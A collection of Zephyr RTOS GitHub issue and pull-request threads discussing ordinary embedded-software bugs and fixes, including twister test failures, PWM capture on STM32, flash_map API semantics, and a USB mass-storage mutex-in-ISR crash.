text:
twister: test: pytest -s scripts/tests/twister/test_runner.py fails

Describe the bug
pytest -s scripts/tests/twister/test_runner.py fails
To Reproduce
Steps to reproduce the behavior:

run below
pytest -s scripts/tests/twister/test_runner.py

Expected behavior
test pass
Impact
CI
Logs and console output
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_log_info[basic] - TypeError: ProjectBuilder.log_info() missing 1 required positional argument: 'inline_logs'
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_log_info[inline logs] - TypeError: ProjectBuilder.log_info() missing 1 required positional argument: 'inline_logs'
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_log_info[inline logs+read_exception] - TypeError: ProjectBuilder.log_info() missing 1 required positional argument: 'inline_logs'
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_report_out[verbose error cmake only] - assert False
 +  where False = all([False])
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_report_out[failed] - assert False
 +  where False = all([False])
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_report_out[verbose skipped] - assert False
 +  where False = all([False])
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_report_out[verbose passed ready run] - assert False
 +  where False = all([False])
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_report_out[verbose passed] - assert False
 +  where False = all([False])
FAILED scripts/tests/twister/test_runner.py::test_projectbuilder_report_out[timeout] - assert False
 +  where False = all([False])

Git bisect returns the following as the commit that broke things
commit e466b7ac266b24fe4e1c27b01fef3a722e18ddd3
Author: Grzegorz Chwierut <grzegorz.chwierut@nordicsemi.no>
Date:   Thu Oct 26 09:08:54 2023 +0200

    twister: pytest: Improve reporting failed pytest scenarios

    When pytest scenario fails, then 'handler.log' is printed.
    Changed to print 'twister_harness.log' that is a log from
    pytest execution. That file tells much more when test fails.

    Signed-off-by: Grzegorz Chwierut <grzegorz.chwierut@nordicsemi.no>

 .../src/twister_harness/device/hardware_adapter.py |  1 -
 scripts/pylib/twister/twisterlib/harness.py        |  2 ++
 scripts/pylib/twister/twisterlib/reports.py        |  5 ++++-
 scripts/pylib/twister/twisterlib/runner.py         | 26 +++++++++++++++++-----
 .../pytest_integration/test_harness_pytest.py      |  2 ++
 5 files changed, 29 insertions(+), 7 deletions(-)

Something strange is going on...
The PR introducing the commit above did not fail on the tests (https://github.com/zephyrproject-rtos/zephyr/actions/runs/6669873320/job/18128568198) but, I can see that a different number of tests is being run in CI compared when I run on the same commit locally:
in CI:
====================== 355 passed, 278 warnings in 9.31s =======================

locally:
======================= 9 failed, 505 passed, 273 warnings in 17.70s =====================

this PR may fix this. #64947 64947

Seems to be passing now.

Something strange is going on...
The PR introducing the commit above did not fail on the tests (https://github.com/zephyrproject-rtos/zephyr/actions/runs/6669873320/job/18128568198) but, I can see that a different number of tests is being run in CI compared when I run on the same commit locally:
in CI:
====================== 355 passed, 278 warnings in 9.31s =======================

locally:
======================= 9 failed, 505 passed, 273 warnings in 17.70s =====================

I have investigated this issue and it seems that nothing is out of the ordinary. The PR introducing the commit did not fail any test two weeks ago. However, between then and now, about 187 new tests have been introduced to the mainline - (test_error.py, test_hardwaremap.py, test_jobserver.py and new tests in test_harness_pytest.py). Those too passed their checks, as those occurred before the introduction of the aforementioned commit.
Only when both changes were live, the tests started failing. Not sure how we can prevent this. Manual Checks re-run before merging? Automatic Checks rerun when attempting merge with abort on fail? Any mainline merge reruns all PR Checks?

authors: LukaszMrugala hakehuang nashif yperess


text:
timer_tmr_cmsdk_apb.c and timer_stmr_cmsdk_apb.c are missing counting up flag.

Describe the bug
Counter is counting up, but the counter_is_counting_up returns false, because of the missing flag.
Expected behavior
counter_is_counting_up should return true.
Impact
Every test that is running with --integration and tests this behavior will fail.
Environment (please complete the following information):

OS: (e.g. Linux, MacOS, Windows)
Toolchain (e.g Zephyr SDK, ...)
Commit SHA or Version used

Counters are counting up, but do not have the COUNTER_CONFIG_INFO_COUNT_UP flag set.
OS: Linux, ms2_an835 on QEMU
Commit: eb35143, it's still on main

I've created a PR that fixes this: #76786

source: gharchive/issue

repo: zephyrproject-rtos/zephyr

license_type: permissive

license_source: github-api


text:
Some headers in include/zephyr/drivers/gpio are missing the C++ compatibility

Describe the bug
The following headers in include/zephyr/drivers/gpio are missing the extern "C":

gpio_intel.h (no functions there, probably not necessary anyway)
gpio_mmio32.h
gpio_nct38xx.h
gpio_sx1509b.h
gpio_utils.h

@bjarki-andreasen We should probably fix this?


text:
Bluetooth: controller: assert on conn update in slave role under max. throughput usecases

[bt] [ERR] ticker_update_slave_assert: assert: '(status == 0) || (_radio.ticker_id_stop == ticker_id)' failed
***** Kernel OOPS! *****
Current thread ID = 0x20005d58
Faulting instruction address = 0x148a8
[general] [ERR] _SysFatalErrorHandler: Caught system error -- reason 4. Entering infinite loop

This was reported under max. throughput usecases at 7.5ms conn intervals subjected to connection update procedures.
In slave role, ticker_update interface is used to compensate for clock drifts. ticker_stop and ticker_start interfaces are used to perform connection update. A race condition in the order of these calls is suspected to cause the assert.
A fix for this will be sent after a detailed analysis after a controlled reproduction of the said assert.

@nashif No, too close to the 1.13 release to reproduce, analyse and fix it, move it to 1.14.


text:
doc: usb: Move generated api to the right place

Move USB API to the right place.
Signed-off-by: Andrei Emeltchenko andrei.emeltchenko@intel.com

Codecov Report

Merging #10349 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master   #10349   +/-   ##
=======================================
  Coverage   53.24%   53.24%
=======================================
  Files         209      209
  Lines       25630    25630
  Branches     5537     5537
=======================================
  Hits        13647    13647
  Misses       9787     9787
  Partials     2196     2196

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bbaa374...e90b958. Read the comment docs.

source: gharchive/pull-request

authors: codecov-io finikorg


text:
Bluetooth: host: Fix gatt indicate when conn is NULL

Fix gatt indicate when conn is NULL and called with characteristic
declaration as the attribute argument. In this case the handle was not
advanced to the characteristic value. This is inconsistent with the rest
of the notify and indicate API
Fixes #16634
Signed-off-by: Joakim Andersson joakim.andersson@nordicsemi.no

@joerchan this seems to be a candidate for backporting so we will need an issue for it.

@Vudentz Thank you. I created issue #16634

@joerchan will you create a manual backport PR since the automated one failed?

No manual backport needed, backport is included in #18122

authors: Vudentz jhedberg joerchan


text:
Tests kernel context cpu idle

k_cpu_idle() kernel API was not tested for tickless kernel. We wrote a simple test-case that covers the test.
Fixes #23617

While this can malfunction if there is a thread that sleep-loops with an interval less than 1ms (e.g. in a driver), approving this anyway since that is quite unlikely and would be considered a bad practice.

True.
Though, we need to be realistic here; such a driver behavior should be spotted and not enabled by defaults in the "minimal" Zephyr builds which are used for running Kernel tests (certainly not for QEMU targets) :) And if it becomes true for a weird platform, if can always be excluded from testing.
We should favor simplicity when designing kernel API unit-testing (but I am open to some brilliant ideas of how to better test k_cpu_idle in a tick-less kernel)


text:
samples: various servo_motor fixes

Though there were issues with this sample before e959386bd2 ("samples:
servo_motor: cleanups and changes"), that commit introduced further
bugs. This happened because the new pwm-servo alias that commit
switched to wasn't provided by any boards, so it wasn't built in CI.
Before that, however, the recommendation to use bbc_microbit in the
sample documentation was also buggy in a couple of ways:

bbc_microbit doesn't have the pwm-0 alias the sample previously required, so it didn't build on that board

the documentation's comment to use pin 0 on the edge connector is wrong; PWM channel 0 is wired to GPIO P0.0 on the SoC, which is actually pin 21 on the connector

Fix it all up.
Tested on bbc_microbit. I verified the pinout and also made sure that
the sample correctly generates pulses from 700 to 2300 usec.

I tested all the samples I touched in https://github.com/zephyrproject-rtos/zephyr/pull/24949 on hardware (a combination of bbc_microbit and nrf9160dk_nrf9160 in particular); this was the only issue I found.


text:
pwm: stm32: Modify digital filter for timer capture driver

With the current code there is no digital filtering applied to the
stm32 PWM/capture driver (in init_capture_channel() function).
It turns out that for stm32h743 (nucleo_h743zi) board the filter
needs to be enabled to allow correct operation - this change
follows recommendation from point 39.3.5 "Input Capture Mode"

point 3 (from Reference Manual "RM0433 Rev 7").

This problem has been discovered when the PWM loopback test was
run (./zephyr/tests/drivers/pwm/pwm_loopback/).
Signed-off-by: Lukasz Majewski lukma@denx.de

Hi @lmajewski ,
I am not in line with this PR:
This is right that Reference Manual talk about setting Input Filter, but it should be done according to the input signal. especially when signal is not stable.
But It should not be the case with the loopback test, wire between output timer and input timer should be present before test, and no there should be no transient pulse on the line.
Adding input filter will impact the behavior:

for example with a continuous measurement, computation will be done only 1 out of 8 pulse instead of at each pulse.
let's imagine application need to measure the length of a single pulse, it will be skipped due to the filter.

So I think there is something wrong with the test on this board. And filter is not the appropriate solution.

Hi @lmajewski , I am not in line with this PR: This is right that Reference Manual talk about setting Input Filter, but it should be done according to the input signal. especially when signal is not stable. But It should not be the case with the loopback test, wire between output timer and input timer should be present before test, and no there should be no transient pulse on the line. Adding input filter will impact the behavior:
* for example with a continuous measurement, computation will be done only 1 out of 8 pulse instead of at each pulse.

* let's imagine application need to measure the length of a single pulse, it will be skipped due to the filter.

So I think there is something wrong with the test on this board. And filter is not the appropriate solution.

On the Nucleo board (stm32h743) I do use general purpose timers - TIM2 and TIM5 with the pwm_stm32.c driver.
There is either some other bug in the driver, or I misunderstood how the driver and timer IP blocks work.
Without adding this filter - the captured time is correct sometimes. It fails in 50% of cases. Maybe using TIM2 and TIM5 is
wrong, and I shall use TIM2 and for example TIM14/15 ? However, I couldn't find any rationale for doing this.
I would be very happy if somebody with "disco" (disco_l475_iot1.overlay) stm32 board check if this test still works without modification of the filter.

Could this be a timing issue? The PWM output is applied after the current PWM cycle is complete (synchronously), but PWM capture may be out of sync and capture the previous cycle? I remember discussing this with someone a long time ago, but I don't think we ever reached a conclusion.

Could this be a timing issue? The PWM output is applied after the current PWM cycle is complete (synchronously), but PWM capture may be out of sync and capture the previous cycle? I remember discussing this with someone a long time ago, but I don't think we ever reached a conclusion.

This would be very strange. According to the documentation of the stm32h7xx SoC, timer blocks (TIM2 and TIM5 in my case) are independent ones.
The only common nominator is the F_CK_INT provided to those two blocks.
The [errata ](file:///tmp/mozilla_lukma0/es0392-stm32h742xig-and-stm32h743xig-device-limitations-stmicroelectronics-1.pdf) doesn't mention this problem.
Even more strange - the test (pwm_loopback) generates the PWM signal in a continuous way - i.e. we do not capture single pulse signal duration, but waveform, which is generated for hundreds of ms.
Maybe somebody from ST could provide some input to this discussion?
Without setting this filter (as recommended in the Reference Manual) the PWM and capture HW is not working correctly.
I really would like to know why.

@lmajewski,
I am looking at this issue,
unfortunately, as soon as I modify code, even for a simple printf, I got a Zephyr crash () which drastically slowdown my analysis.
I will keep you informed.

@lmajewski, I am looking at this issue, unfortunately, as soon as I modify code, even for a simple printf, I got a Zephyr crash
E: 0x800e3a8 is not a valid generic
E: address is not a known kernel object
E: syscall z_vrfy_device_usable_check failed check: access denied
E: r0/a1:  0x00000000  r1/a2:  0x00000000  r2/a3:  0x00000000
E: r3/a4:  0x00000000 r12/ip:  0x00000000 r14/lr:  0x00000000
E:  xpsr:  0x00000000
E: Faulting instruction address (r15/pc): 0x75bc51b9
E: >>> ZEPHYR FATAL ERROR 3: Kernel oops on CPU 0
E: Current thread: 0x24000100 (test_pulse_capture)
E: Halting system

which drastically slowdown my analysis. I will keep you informed.

I'm testing this stuff with Nucleo STM32H742ZI2 and by using oscilloscope.
To compile/debug - I do use the west debug command. It also helps to use reduced printk - i.e. CONFIG_LOG_MODE_MINIMAL=y

@lmajewski,
I finally found the issue:
Output pin PA1 (TIM2_CH2) is connected to Ethernet on Nucleo_H743ZI2. And this disrupt timer output signal.
I changed it to PA3 (TIM2_CH3) on Arduino connector A0.
and test is passed.
PR #41076
Can you confirm that #41076 (without  current PR #40966) is working for you too
So I confirm the current PR #40966 is not needed.

BTW, I tested disco_l475_iot1, and tested is passed without the Digital filter

@ABOSTM
I've tested your suggestion - and it works as expected :-) Thanks!
I've prepared the PR with fix: https://github.com/zephyrproject-rtos/zephyr/pull/41109
And this PR can be safely closed.

authors: ABOSTM henrikbrixandersen lmajewski


text:
storage/flash_map: make *fap NULL on flash_area_open without map

flash_area_open() should set flash_area pointer to NULL once
flash _map is unavailable.
Signed-off-by: Andrzej Puzdrowski andrzej.puzdrowski@nordicsemi.no

Can we get rid of const struct flash_area *area, it seems that we can write to fap in all paths directly.

@nvlsianpu, sorry, but once again I have to say no.
The logic is that whatever error occurs during opening the return value will not change. This is done because you can then do a wrong opening but continue using what was in the pointer before the call.
IMO Johan is using it wrong in the littlefs example. The correct way would be:
const struct flash_area *area = (const struct flash_area *)fs->backend;

/* Open flash area */
ret = flash_area_open(area_id, &area);
if ((ret < 0) || (area == NULL)) {
	LOG_ERR("can't open flash area %d", area_id);
	ret = -ENODEV;
	goto out;
}
LOG_DBG("FS area %u at 0x%x for %u bytes",
	area_id, (uint32_t)area->fa_off,
	(uint32_t)area->fa_size);

The logic is that whatever error occurs during opening the return (**fap) value will not change. This is done because you can then do a wrong opening but continue using what was in the pointer before the call.

The question is whether we want to follow what documentation officially states or change that behavior and update documentation accordingly.
IMHO we should follow documentation, because if users follow it that is what should happen.
Personally I am NOT in favor of modifying data, referenced by function parameters, when error occurs, but we have actually stated that this happens in documentation for the function. So from the point of view of "stable API", the documentation says how it should be.

The question is whether we want to follow what documentation officially states or change that behavior and update documentation accordingly. IMHO we should follow documentation, because if users follow it that is what should happen.
Personally I am NOT in favor of modifying data, referenced by function parameters, when error occurs, but we have actually stated that this happens in documentation for the function. So from the point of view of "stable API", the documentation says how it should be.

The documentation (the header file) doesn't say anything on this, that flash_map is NULL doesn't mean that the ID is unknown.

The documentation (the header file) doesn't say anything on this, that flash_map is NULL doesn't mean that the ID is unknown.

You are right, it does not. It actually only lists -ENOENT as reason for the pointer to be NULL, when you read it completely: https://github.com/zephyrproject-rtos/zephyr/blob/main/include/storage/flash_map.h#L117-L121
* @param[out] fa Pointer which has to reference flash_area. If
 * @p ID is unknown, it will be NULL on output.
 *
 * @return  0 on success, -EACCES if the flash_map is not available ,
 * -ENOENT if @p ID is unknown.
 *

OK, so my argument regarding stable API change falls, and it seems that current behavior is as expected from documentation.

@Laczen @de-nordic @nvlsianpu we either change the current API doc to reflect that the pointer will not be set if the function fails, or we apply the current patch. Either way works but you need to settle on one.

@de-nordic, with your proposed change, what exactly does this PR do ?
@nvlsianpu, I propose to close this PR. I think there is a documentation error: the return value is not updated when flash_map is NULL or when the id is not found. This is a good thing because you only need
to check the return value and not the "returned area pointer".
The method used should probably even be a "design rule" for routines that update a value and return an error code, only "update" the value if return will be 0.

@de-nordic, with your proposed change, what exactly does this PR do ?

Follows documentation by NLLifying the *fap when returning with -ENOENT, which is exactly what documentation states.
So fixes previous bug in code.

@nvlsianpu, I propose to close this PR. I think there is a documentation error: the return value is not updated when flash_map is NULL or when the id is not found. This is a good thing because you only need to check the return value and not the "returned area pointer".

Half of the PR still fixes bug.

The method used should probably even be a "design rule" for routines that update a value and return an error code, only "update" the value if return will be 0.

In solutions low in memory you may be forced to operate on what you are given and you may damage it in the process, but you must make that clear and notify caller about it.

@de-nordic, I agree that there are places where this "design rule" should not be enforced in order to save memory or being forced to copy data before modifying. This is not such a case.
Anyhow, the PR title and commit message are no longer in relation with the "fix" that is done, so it is better to close it.
Regarding the correction: I think it is a documentation error and not a code error.

@Laczen @de-nordic @carlescufi Let's fix documentation instead of this patch.

authors: Laczen carlescufi de-nordic nvlsianpu


text:
test: Increase the tolerance between A3/A5

As the type of A(n) is integer, and A3 and A5 are close to
each other. Sometimes A3 is equal to A5. So change the ">" to
">="
Signed-off-by: Hu Zhenyu zhenyu.hu@intel.com

This PR is for issue https://github.com/zephyrproject-rtos/zephyr/issues/45914


text:
dts: Renamed NXP usdhc in imxrt6xx

The names of these peripherals in the device tree
did not match the Reference Manual for the RT600.
Added alias for usdhc0 to be able to use SDHC test.
Also fixed a typo in a comment referring to USDHC which should have been
about USB.
Signed-off-by: Declan Snyder declan.snyder@nxp.com

I think the label names in the dtsi files are done to match the NXP docs and how it numbers the devices.

I think the label names in the dtsi files are done to match the NXP docs and how it numbers the devices.

And they don't match for this SOC which is the point of this PR

And they don't match for this SOC which is the point of this PR

Gotcha, it was rare that NXP docs used 0, so thus my confusion.

authors: decsny galak


text:
llvm: Add ARMv6-M, ARMv7-M, ARMv8-M Mainline and Baseline targets

Introduce more specific ARM targets basing on enabled options in Kconfig.

Friendly ping


text:
kernel: Fix building of k_thread_create

commit ec7ecf7900289fda94d29b469cd6452755017a60 moved some code around
such that the total_size variable is used regardless of how
CONFIG_MPU_REQUIRES_POWER_OF_TWO_ALIGNMENT is set.  So move the
decleration of total_size outside of the ifndef block so things build
properly.
Signed-off-by: Kumar Gala kumar.gala@linaro.org

Codecov Report

Merging #7017 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #7017   +/-   ##
=======================================
  Coverage   58.67%   58.67%
=======================================
  Files         462      462
  Lines       47321    47321
  Branches     8771     8771
=======================================
  Hits        27765    27765
  Misses      15724    15724
  Partials     3832     3832

Impacted Files
Coverage Δ

kernel/thread.c
89.55% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d7b7f51...1d1e925. Read the comment docs.

authors: codecov-io galak


text:
Fix usb mass storage device issues

disk: disk_access: changed mutex for a spinlock
disk_access functions were called from an interupt context, thus
crashing on mutexes (no sleep is allowed in interrupt context).
The usage of a spinlock is permitted. The functions guarded by
the spinlock are executed very quickly anyway, so the spinlock
is applicable.
Stack trace from VSCode when the crash occured:

Log output from Zephyr:
ASSERTION FAIL [!arch_is_in_isr()] @ WEST_TOPDIR/zephyr-deps/zephyr/kernel/mutex.c:111
        mutexes cannot be used inside ISRs
[00:00:18.066,000] <err> os: r0/a1:  0x00000004  r1/a2:  0x0000006f  r2/a3:  0x00000001
[00:00:18.066,000] <err> os: r3/a4:  0x00000004 r12/ip:  0x0002c1b9 r14/lr:  0x08011ead
[00:00:18.066,000] <err> os:  xpsr:  0x01000059
[00:00:18.066,000] <err> os: Faulting instruction address (r15/pc): 0x0802a468
[00:00:18.066,000] <err> os: >>> ZEPHYR FATAL ERROR 4: Kernel panic on CPU 0
[00:00:18.066,000] <err> os: Fault during interrupt handling

[00:00:18.066,000] <err> os: Current thread: 0x20001b18 (idle)
[00:00:18.128,000] <err> os: Halting system

usb: fix wrong capacity report for USB mass storage device
Usb "write" method never copies the input data buffer, it uses the
buffer pointer directly. The fact that it was on the stack made
the buffer ephemeral, and could disappear before the USB transfer
actually occurred. The data transmitted was then random. This commit
converts the transfer buffer to a static buffer, so that it always
exists for the duration of the USB transfer.
Known side-effect: if "read capacity" command is read twice
simultaneously, the same buffer will be used twice. As the capacity of a
USB drive should not change between 2 calls, this side effect can be
ignored.
Signed-off-by: Alexi Demers alexi.demers@axceta.com
Fixes #77175 and #77176

So to be clear, the issue is that mass_storage_bulk_out is being called from an ISR context? @jfischer-no, should the USB device drivers be calling this from an ISR context? Looking at the Kinetis USB driver, it seems that call is made from a thread context (an ISR notifies the thread)

So to be clear, the issue is that mass_storage_bulk_out is being called from an ISR context? @jfischer-no, should the USB device drivers be calling this from an ISR context? Looking at the Kinetis USB driver, it seems that call is made from a thread context (an ISR notifies the thread)

Yes, this is a known issue in legacy USB device support, most drivers are fixed not to call callbacks from ISR context. Btw, STM32 shim driver has another mutex issue, https://github.com/zephyrproject-rtos/zephyr/issues/61464.

@ademers-axceta How come this PR is targeting v3.6-branch?

@ademers-axceta How come this PR is targeting v3.6-branch?

The bug was encountered on version 3.6. I am suggesting to integrate in in 3.6, as it is still supported as far as I know? I can port it to 3.7 and main branches afterward if it applies?
If you prefer having it on 3.7 or main only, I will adjust.

@ademers-axceta How come this PR is targeting v3.6-branch?

The bug was encountered on version 3.6. I am suggesting to integrate it in 3.6, as it is still supported as far as I know? I can port it to 3.7 and main branches afterward if it applies?
If you prefer having it on 3.7 or main only, I will adjust.

The process for this would be to get the fix into main first and then backport it to the relevant, active releases.
Please change the target branch to main and I'll make the necessary label additions for automated backports to v3.7-branch and v3.6-branch (these require separate reviews and approvals).

k_spinlock_key_t spinlock_key = k_spin_lock(&lock)

Ah ok! I was not aware of that backporting method. I will adjust the target branch, thanks

@ademers-axceta How come this PR is targeting v3.6-branch?

The bug was encountered on version 3.6. I am suggesting to integrate it in 3.6, as it is still supported as far as I know? I can port it to 3.7 and main branches afterward if it applies?
If you prefer having it on 3.7 or main only, I will adjust.

The process for this would be to get the fix into main first and then backport it to the relevant, active releases. Please change the target branch to main and I'll make the necessary label additions for automated backports to v3.7-branch and v3.6-branch (these require separate reviews and approvals).

Ah ok! I was not aware of that backporting method. I will adjust the target branch, thanks

Ah ok! I was not aware of that backporting method. I will adjust the target branch, thanks

You will also need to fix the commit logs by removing `subsys: ´ from the title in order to satisfy the compliance check.

Yes, this is a known issue in legacy USB device support, most drivers are fixed not to call callbacks from ISR context. Btw, STM32 shim driver has another mutex issue, https://github.com/zephyrproject-rtos/zephyr/issues/61464.

So I guess my question is then why don't we fix the STM32 driver, instead of modifying the subsystem functions to be ISR-safe?

Yes, this is a known issue in legacy USB device support, most drivers are fixed not to call callbacks from ISR context. Btw, STM32 shim driver has another mutex issue, #61464.

So I guess my question is then why don't we fix the STM32 driver, instead of modifying the subsystem functions to be ISR-safe?

I would argue that making the functions ISR-safe is a more robust way to fix the issue, and it will probably fix other issues in other drivers. If the mutex was absolutely necessary, then the fix would have been to adjust the STM32 driver, but as the protected code executes very quickly, the spinlock seems to me to be a better option anyway

I would argue that making the functions ISR-safe is a more robust way to fix the issue, and it will probably fix other issues in other drivers. If the mutex was absolutely necessary, then the fix would have been to adjust the STM32 driver, but as the protected code executes very quickly, the spinlock seems to me to be a better option anyway.

I agree that it is certainly a simpler solution. I guess what I'm trying to understand is if the STM32 driver should be making these calls from an ISR, or if the memoryWrite function is only intended to be called from a thread content. Looking at the implementation, it seems to signal a thread that memory is ready to be written to disk, so I suspect the function is intended to be called from an ISR, I just want to confirm. Perhaps @jfischer-no knows the answer here?

but as the protected code executes very quickly, the spinlock seems to me to be a better option anyway

This is generally true, but there isn't a constraint here. For example, the SDMMC disk driver checks card presence when getting disk status. For some card detection methods, the host needs to wait on the SD device to confirm it is present (which is a blocking operation). I'm still not opposed to the spinlock solution, I just want to make sure this is the best option, since when the choice is between changing a vendor driver or changing generic code I tend to bias towards modifying the driver.

I agree that it is certainly a simpler solution. I guess what I'm trying to understand is if the STM32 driver should be making these calls from an ISR, or if the memoryWrite function is only intended to be called from a thread content. Looking at the implementation, it seems to signal a thread that memory is ready to be written to disk, so I suspect the function is intended to be called from an ISR, I just want to confirm. Perhaps @jfischer-no knows the answer here?

This MSC implementation is essentially flawed because it uses global state variables without any proper synchronization. The device-next MSC implementation is significantly better because it correctly sequences operations (always in thread context) and also properly reports errors (e.g. disk removed).
If the disk subsystem works correctly with the device-next MSC, then I wouldn't change the disk subsystem.

I agree that it is certainly a simpler solution. I guess what I'm trying to understand is if the STM32 driver should be making these calls from an ISR, or if the memoryWrite function is only intended to be called from a thread content. Looking at the implementation, it seems to signal a thread that memory is ready to be written to disk, so I suspect the function is intended to be called from an ISR, I just want to confirm. Perhaps @jfischer-no knows the answer here?

but as the protected code executes very quickly, the spinlock seems to me to be a better option anyway

This is generally true, but there isn't a constraint here. For example, the SDMMC disk driver checks card presence when getting disk status. For some card detection methods, the host needs to wait on the SD device to confirm it is present (which is a blocking operation). I'm still not opposed to the spinlock solution, I just want to make sure this is the best option, since when the choice is between changing a vendor driver or changing generic code I tend to bias towards modifying the driver.

The mutex there only protects the dlist (register/unregister), not accesses to the disk device (IIRC there are some in the drivers as well), so I think the changes are fine. Obviously, the second commit does not fix a bug and cannot be backported, but the first commit does.

The mutex there only protects the dlist (register/unregister), not accesses to the disk device (IIRC there are some in the drivers as well), so I think the changes are fine. Obviously, the second commit does not fix a bug and cannot be backported, but the first commit does.

This is true- at the end of the day, this isn't really that large of a change to common code, and it is pretty low risk.

@jfischer-no are you okay with the adjustements I made based on your comments? I need your approval to be able to merge :) (changes requested)

authors: ademers-axceta danieldegrasse henrikbrixandersen jfischer-no tmon-nordic


text:
tests: drivers: uart_async_api: fix userspace fault

Fixes https://github.com/zephyrproject-rtos/zephyr/issues/71983

Greetings @dcpleung and @andrewboie , I was wondering if you could take a look at this PR?
Context This PR added the ability to use the nocache region on the uart_async_api test. This in return broke some nxp platforms, for instance here with the mimxrt1064_evk, when using the sdram0 for sram, the 1064 can take advantage of using the nocache memory, but Userspace is unable to access the nocache region at the moment. What are your thoughts, should we be using Userspace for the uart test? I also notice @andrewboie, you explicitly set Userspace to be enabled, I know this may have been some time ago, but is there a particular reason you explicitly enabled it?
Happy to hear feedback from both of you.

Which test fails? There is a test drivers.uart.async_api.nocache_mem which explicitly disables userspace when there is nocache region.

commit message is out of date

Added DNM tag, platforms are not passing right now

@EmilioCBen , now all board testing PASS with CONFIG_USERSPACE=n for mcux series, but there is a annoying message for this case, for uart driver.
I do not understand the code below in the uart_mcux_lpuart.c function mcux_lpuart_rx_disable
	/* No active RX buffer, cannot disable */
	if (!data->async.rx_dma_params.buf) {
		LOG_ERR("No buffers to release from RX DMA!");

why send thie error message
2024-09-25 03:03:34,938 - twister - DEBUG - DEVICE: *** Booting Zephyr OS build v3.7.0-3110-g53dbab9a2da5 ***
2024-09-25 03:03:34,942 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_chain_read
2024-09-25 03:03:34,948 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:34,951 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:34,955 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:34,957 - twister - DEBUG - DEVICE: START - test_chained_read
2024-09-25 03:03:35,386 - twister - DEBUG - DEVICE: PASS - test_chained_read in 0.426 seconds
2024-09-25 03:03:35,392 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:35,396 - twister - DEBUG - DEVICE: TESTSUITE uart_async_chain_read succeeded
2024-09-25 03:03:35,400 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_chain_write
2024-09-25 03:03:35,406 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:35,409 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:35,412 - twister - DEBUG - DEVICE: START - test_chained_write
2024-09-25 03:03:35,417 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:35,420 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:35,424 - twister - DEBUG - DEVICE: PASS - test_chained_write in 0.009 seconds
2024-09-25 03:03:35,430 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:35,434 - twister - DEBUG - DEVICE: TESTSUITE uart_async_chain_write succeeded
2024-09-25 03:03:35,437 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_double_buf
2024-09-25 03:03:35,443 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:35,447 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:35,449 - twister - DEBUG - DEVICE: START - test_double_buffer
2024-09-25 03:03:36,112 - twister - DEBUG - -- west flash: using runner linkserver
-- runners.linkserver: LinkServer: /usr/local/LinkServer/LinkServer, version v1.6.121

2024-09-25 03:03:38,855 - twister - DEBUG - DEVICE: PASS - test_double_buffer in 3.403 seconds
2024-09-25 03:03:38,861 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:38,865 - twister - DEBUG - DEVICE: TESTSUITE uart_async_double_buf succeeded
2024-09-25 03:03:38,868 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_long_buf
2024-09-25 03:03:38,874 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:38,878 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:38,880 - twister - DEBUG - DEVICE: START - test_long_buffers
2024-09-25 03:03:39,045 - twister - DEBUG - DEVICE: PASS - test_long_buffers in 0.162 seconds
2024-09-25 03:03:39,051 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:39,055 - twister - DEBUG - DEVICE: TESTSUITE uart_async_long_buf succeeded
2024-09-25 03:03:39,058 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_multi_rx
2024-09-25 03:03:39,064 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:39,067 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:39,070 - twister - DEBUG - DEVICE: START - test_multiple_rx_enable
2024-09-25 03:03:39,474 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:39,678 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:39,782 - twister - DEBUG - DEVICE: PASS - test_multiple_rx_enable in 0.709 seconds
2024-09-25 03:03:39,789 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:39,792 - twister - DEBUG - DEVICE: TESTSUITE uart_async_multi_rx succeeded
2024-09-25 03:03:39,795 - twister - DEBUG - DEVICE: Running TESTSUITE uart_async_read_abort
2024-09-25 03:03:39,802 - twister - DEBUG - DEVICE: ===================================================================
2024-09-25 03:03:39,805 - twister - DEBUG - DEVICE: E: No buffers to release from RX DMA!
2024-09-25 03:03:39,807 - twister - DEBUG - DEVICE: START - test_read_abort
2024-09-25 03:03:40,930 - twister - DEBUG - DEVICE: PASS - test_read_abort in 1.120 seconds
2024-09-25 03:03:40,936 - twister - DEBUG - DEVICE: ===================================================================
